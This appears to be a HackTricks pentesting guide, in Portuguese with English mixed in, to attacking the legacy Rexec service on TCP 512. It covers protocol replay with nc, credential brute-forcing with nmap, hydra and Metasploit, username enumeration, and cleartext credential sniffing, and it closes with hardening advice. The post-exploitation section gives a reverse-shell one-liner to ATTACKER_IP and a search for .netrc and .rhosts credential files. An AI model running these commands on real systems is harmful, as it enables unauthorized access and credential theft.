512 - Pentesting Rexec

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações Básicas

Rexec (remote exec) é uma das suítes originais r-services de Berkeley (juntamente com rlogin, rsh, …). Fornece uma capacidade de execução remota de comandos autenticada apenas com um nome de usuário e senha em texto claro. O protocolo foi definido no início dos anos 1980 (veja RFC 1060) e hoje em dia é considerado inseguro por design. No entanto, ele ainda está habilitado por padrão em alguns equipamentos UNIX legados ou conectados à rede, e ocasionalmente aparece durante pentests internos.

Porta Padrão: TCP 512 (exec)

PORT    STATE SERVICE
512/tcp open  exec

🔥 Todo o tráfego – incluindo credenciais – é transmitido sem criptografia. Qualquer pessoa com a capacidade de sniff the network pode recuperar o username, password e o comando.

Visão rápida do protocolo

  1. Cliente conecta-se ao TCP 512.
  2. Cliente envia três strings NUL-terminated:
  • o número da porta (em ASCII) onde deseja receber stdout/stderr (frequentemente 0),
  • o username,
  • a password.
  1. Uma string final NUL-terminated com o comando a ser executado é enviada.
  2. O servidor responde com um único byte de status de 8 bits (0 = sucesso, 1 = falha) seguido pela saída do comando.

Se o primeiro campo for non-zero, o servidor abre uma segunda conexão TCP de volta ao cliente e a utiliza para stderr. Isto é útil tanto para manual testing quanto para fingerprinting filtering / firewall issues em torno do serviço.

Isso significa que você pode reproduzir a troca com nada mais do que echo -e e nc:

(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512

Se as credenciais forem válidas, você receberá a saída de id diretamente na mesma conexão.

Se você quiser receber stderr em um listener dedicado, peça ao servidor para conectar de volta a você:

nc -lvnp 4444
printf '4444\0user\0password\0id; uname -a\0' | nc <target> 512

Muitas implementações comuns (por exemplo GNU rexecd) ainda impõem campos de nome de usuário/senha de 16 bytes e retornam mensagens de diagnóstico diferentes para nomes de usuário inválidos vs senhas inválidas. Isso importa durante a enumeration porque alguns alvos leak se a conta existe antes de você começar o brute forcing.

Uso manual com o cliente

Muitas distribuições Linux ainda incluem o cliente legado dentro do pacote inetutils-rexec / rsh-client:

rexec -l user -p password <target> "uname -a"

Se -p for omitido, o cliente solicitará interativamente a senha (visível na rede em texto claro!).

Para evitar deixar a senha no histórico do seu shell / na lista de processos, GNU rexec também suporta lê-la a partir de stdin:

printf '%s\n' 'password' | rexec -l user -p - <target> "id"

Isso não é mais seguro na network; apenas reduz a exposição local no attacking host.


Enumeration & Brute-forcing

Brute-force

Nmap

nmap -sV -p 512 <target>
# Confirm the classic exec service before credential attacks

nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>

The rexec-brute NSE usa o protocolo descrito acima para testar credenciais muito rapidamente.

Hydra / Medusa / Ncrack

hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8

hydra tem um módulo dedicado rexec e continua sendo o bruteforcer offline mais rápido. medusa (-M REXEC) e ncrack (módulo rexec) podem ser usados da mesma forma.

Enumeração de nomes de usuário por meio de mensagens do servidor

Algumas implementações de rexecd expõem erros distintos, como Login incorrect. vs Password incorrect.. Se você observar esse comportamento, valide os nomes de usuário primeiro e só então force as senhas:

printf '0\0root\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
printf '0\0definitelynotreal\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2

Se as mensagens diferirem, construa uma lista de valid-user antes de enviar um grande password spray.

Verificar serviços r relacionados

rexec itself uses password authentication, unlike rsh / rlogin trusted-host logic, but in practice they often arrive from the same legacy package (openbsd-inetd, inetutils, vendor UNIX bundles). If TCP 512 is open, immediately check TCP 513 and 514 as well because .rhosts / /etc/hosts.equiv abuse may offer easier lateral movement:

nmap -sV -p 512,513,514 <target>

Veja também:

514 - Pentesting Rsh

513 - Pentesting Rlogin

Metasploit

use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

O módulo abrirá um shell em caso de sucesso e armazenará as credentials no banco de dados.


Sniffing credentials

Porque tudo está em clear-text, network captures são inestimáveis. Com uma cópia do tráfego você pode extrair creds sem tocar o target:

tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}'  # username:password -> command

(In Wireshark enable Decode As …​ TCP 512 → REXEC to view nicely-parsed fields.)


Dicas de pós-exploração

  • Os comandos são executados com os privilégios do usuário fornecido. Se /etc/pam.d/rexec estiver mal configurado (e.g. pam_rootok), root shells às vezes são possíveis.
  • Rexec ignora o shell do usuário e executa o comando via /bin/sh -c <cmd>. Você pode, portanto, usar truques típicos de escape de shell (;, $( ), backticks) para encadear múltiplos comandos ou spawn reverse shells:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
  • Senhas são frequentemente armazenadas em ~/.netrc ou em scripts de automação legados em outros sistemas; se você comprometer um host você pode reutilizá-las para lateral movement:
find / -xdev \( -name .netrc -o -name netrc -o -iname '*rexec*' -o -path '*/.rhosts' \) 2>/dev/null

Endurecimento / Detecção

  • Do not expose rexec; replace it with SSH. Virtually all modern inetd superservers comment the service out by default.
  • Se precisar mantê-lo, restrinja o acesso com TCP wrappers (/etc/hosts.allow) ou regras de firewall e imponha senhas fortes por conta.
  • Monitore tráfego para :512 e por lançamentos do processo rexecd. Uma única captura de pacotes é suficiente para detectar um comprometimento.
  • Desative rexec, rlogin, rsh juntos – eles compartilham a maior parte da mesma base de código e fraquezas.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks